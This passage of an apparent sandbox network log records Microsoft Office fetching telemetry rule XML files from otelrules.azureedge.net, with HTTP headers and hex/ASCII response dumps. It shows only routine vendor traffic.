2024-11-17 11:35:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-1866b5c5fbblmqrkhC1DFWf9ns00000002d00000000039bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-1866b5c5fbbpxkkxhC1DFWhvmc00000004fg000000008xmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-16547b76f7f5b5tthC1DFWuk8400000002wg000000004eh0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: cc141125-801e-0067-1cd2-37fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-16547b76f7fjx5nrhC1DFW4dsc000000019g00000000e3n0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:31 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 9b66de24-701e-0098-7086-36395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113531Z-164f84587bffvwt9hC1DFW2ktw00000001y0000000007uez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-16547b76f7f2b5qzhC1DFWeag400000002b000000000d7bf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-16547b76f7fht2hfhC1DFWbngg00000004qg000000002maq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-16547b76f7fhv4d5hC1DFW7h0n00000002k0000000008ra0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:32 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113532Z-16547b76f7fjx5nrhC1DFW4dsc00000001e0000000005ynh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-164f84587bfh9nvdhC1DFWmce00000000280000000001fsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15349be3-801e-0047-5579-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-164f84587bf7k72dhC1DFWvczs00000004a0000000002vr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:33 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:33 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc51cea9-201e-003f-04b1-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113533Z-164f84587bf9nk94hC1DFWerbg000000039g000000004919 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:33 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 